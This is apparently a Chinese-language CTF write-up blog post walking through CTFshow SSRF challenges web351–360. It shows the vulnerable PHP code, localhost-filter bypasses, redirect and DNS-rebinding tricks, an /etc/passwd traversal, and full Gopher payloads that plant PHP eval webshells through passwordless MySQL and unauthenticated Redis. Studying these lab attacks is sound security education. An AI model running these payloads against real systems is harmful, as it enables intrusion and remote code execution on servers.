继续拿题玩玩我的vps,虽然这些题以前没有vps的时候也做出来了,但是这一次重温还是让我完善了自己的vps配置(Nginx原来要改配置文件才能执行PHP文件),总的来说还是很有收获

开胃小菜

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

相关函数和类

函数 作用
file_get_contents() 将整个文件或一个url所指向的文件读入一个字符串中
readfile() 输出一个文件的内容
fsockopen() 打开一个网络连接或者一个Unix 套接字连接
curl_init() 初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen() 打开一个文件文件或者URL
PHP原生类SoapClient 在触发反序列化时可导致SSRF

相关协议

协议 作用
file协议 在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议 泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议 gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议 探测内网主机存活

利用方式

1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)

主菜

web351

无过滤

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

介绍一下curl函数四剑客:

  1. curl_init:初始化一个Curl会话,里面一般是放URL地址,也可以放在curl_setopt里面的选项内
  2. curl_setopt:设置curl会话的选项,比如CURLOPT_HEADER, 0表示将头文件的信息作为数据流输出。CURLOPT_RETURNTRANSFER,1将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
  3. curl_exec:执行curl会话
  4. curl_close:关闭curl会话

这一题的payload很简单,扫目录会发现有flag.php但是提示不是本地用户不让访问,所以这就是SSRF漏洞

  1. url=http://127.0.0.1/flag.php
  2. url=127.0.0.1/flag.php
  3. file:///var/www/html/flag.php在源代码看到flag

web352

开始过滤啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https')
{
if(!preg_match('/localhost|127.0.0/'))
{
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else
{
die('hacker');
}
}
else
{
die('hacker');
}
?> hacker

啥都没做就是hacker了?

parse_url:解析一个URL并返回一个关联数组,包含URL中出现的各种组成部分。

也就是说这一题我们的host不能写127.0.0.1或者是localhost,协议要是http或者https,绕过127.0.0.1的方法有很多:

1
2
3
4
5
6
7
8
9
10
11
12
13
url=http://0/flag.php 
url=http://0.0.0.0/flag.php
url=http://127.1/flag.php #缺省模式
url=http://2130706433/flag.php #十进制
url=http://017700000001/flag.php #八进制
url=http://0b1111111000000000000000000000001/flag.php #二进制
url=http://0x7f.0.0.1/flag.php #十六进制
url=http://0x7F000001/flag.php #十六进制整数
url=http://0177.0.0.1/flag.php #八进制另类
url=http://localhost/flag.php
url=http://127.127.127.127/flag.php #CIDR
url=http://[::]:80/flag.php #不太理解,而且貌似不行?
127001 >>> 127.0.0.1

上面选一种作为payload即可

web353

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}

过滤了127,.0,.,,localhost

我们用url=http://0/flag.php即可

web354

过滤0,1。302重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

ban了0和1,啥都用不成,考虑302重定向


方法一

在vps添加页面ssrf.php

1
2
3
//ssrf.php
<?php
header("Location:http://127.0.0.1/flag.php");

payload:http://yourdomain/ssrf.php

方法二

利用去DNS重定向http://ceye.io/(有时找不到服务器就试试开科技)

先注册一个账号然后右上角点击Profile

在最下面的DNS-REBINDING选择要绑定的dns即可

最后payload为:最前面记得要加r!!!!
url=http://r.074pbt.ceye.io/flag.php

如果给的域名中有0或者1就不可以了(我这个就是完美的失败案例)

方法三

在自己的域名中添加一条A记录指向127.0.0.1,或者使用 http://sudo.cc这个域名就是指向127.0.0.1(感谢好心人)

所以payload就是url=http://sudo.cc/flag.php

web355

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

来重温下parse_url函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
数组中可能的键有以下几种:
scheme - 如 http
host
port
user
pass
path
query - 在问号 ? 之后
fragment - 在散列符号 # 之后

# 例:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
# 输出
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path

这边只要求host<=5即可,host就是127.0.0.1部分

payload:

  1. url=http://127.1/flag.php
  2. url=http://0/flag.php

web356

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}

长度小于等于3即可,这里直接

1
2
url=http://0/flag.php
# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357

重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme

gethostbyname:返回主机名对应的 IPv4地址

这道题用这个函数获取了真实ip,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法

filter_var():

1
2
3
4
5
6
7
8
9
10
# php filter函数
filter_var() 获取一个变量,并进行过滤
filter_var_array() 获取多个变量,并进行过滤
......
# PHP 过滤器
FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。


之所以这么过滤,也算是预防ssrf的一个方式

方法一:302跳转

我自己买的华为云服务器IP不在这范围内所以可以

在自己的vps写一下ssrf.php,重定向文件

payload:http://43.140.251.169/ssrf.php

注意:vps不但要安装httpd,还要安装php,否则题目只会回显vps的ip,不会回显flag

我只配置了Nginx+PHP环境具体参考此文https://help.aliyun.com/document_detail/464753.html#title-ts0-dv9-8dt

方法二:DNS rebinding(DNS重新绑定攻击)


web358

正则匹配

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

这道题的意思就是正则匹配

需要http://ctf.开头,show结束

直接payload:url=http://ctf.@127.0.0.1/flag.php?show

URL解析是这样的:

1
2
完整url:
scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

如:
1
2
3
4
5
6
http://u:p@a.com:80@b.com/
解析结果:
schema: http
host: b.com
user: u
pass: p@a.com:80

具体原理:如果不在ctf.后面加@,解析url时会把ctf.也解析成host的内容,如果不在show前面加#?,会把show也解析到path中,得不到想要的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//运行结果:
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "127.0.0.1"
["user"]=>
string(4) "ctf."
["path"]=>
string(9) "/flag.php"
["query"]=>
string(4) "show"
}

web359

Gopher协议打无密码的mysql

提示我们是无密码的mysql,然后题目就是一个登入界面

先点击Login登录抓包分析后发现有post请求:

这个returl很可疑,可能存在ssrf漏洞

用gopherus工具去打这一题

把工具给我们生成的payload注入即可(如果你也像我一样登录框和hackbar注入都没反应,不妨试试bp):

这边要注意把_后面的数字再url编码一次,防止出现特殊字符,后端curl接收到参数后会默认解码一次,浏览器也会解码一次

1
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501

之后访问1.php直接RCE就可以了(不知道为什么蚁剑连接不了)

web360

Gopher协议打redis

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器
简单说,漏洞的产生条件有以下两点:
redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务

和上一题一样用Gopher协议

和上次一样_后面的内容要编码

1
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252419%250D%250A%2Fvar%2Fwww%2Fhtml%2F1.php%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

怎么莫名其妙生成了shell.php(看大佬的博客说默认会生成 shell.php 文件),我的1.php呢?那就是访问shell.php页面,直接POST1=system('cat /flaaag');

补充:如何检测是否存在redis

用dict协议探测一下端口是否开放:url=dict://127.0.0.1:6379/

回显-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP +OK报错就说明是开放了6379端口,也就是存在redis

饭后甜点

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

1
2
3
4
5
6
7
8
// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:
1
httpsssss://

此时file_get_contents()函数遇到了不认识的伪协议头httpsssss://,就会将他当做文件夹,然后再配合目录穿越即可读取文件:
1
ssrf.php?url=httpsssss://../../../../../../etc/passwd

URL解析差异

readfile和parse_user函数解析差异绕过指定端口

1
2
3
4
5
6
7
8
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){ // 这里限制了我们传过去的url只能是80端口的
readfile($url);
} else {
die('Hacker!');
}

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过

1
ssrf.php?url=127.0.0.1:11211:80/flag.txt


两个函数解析host也存在差异

利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制

利用curl和parse_url的解析差异绕过指定host

Gopher协议

前边的题 payload 都是直接用的脚本生成的,很脚本小子,也没学到啥

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口

Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面

Gopher协议格式

1
2
3
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流

# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。

如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

利用Gopher协议发送HTTP请求

1
2
3
4
5
在gopher协议中发送HTTP的数据,需要以下三步:

1.抓取或构造HTTP数据包
2.URL编码、将回车换行符%0a替换为%0d%0a
3.发送符合gopher协议格式的请求

注意:
1.问号(?)需要转码为URL编码,也就是%3f
2.回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3.在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

攻击内网FastCGI

https://www.freebuf.com/articles/web/260806.html

这篇文章写得超级详细,上边的很多内容也是参考了这篇文章

好文

parse_url小结 - tr1ple - 博客园
SSRF入门详解
SSRF中利用到的协议

大师食谱借鉴

CTFSHOW-SSRF - Boogiepop Doesn’t Laugh
CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结
CTFShow-SSRF(writeup)-阿里云开发者社区
ctfshow web入门 SSRF(超详解)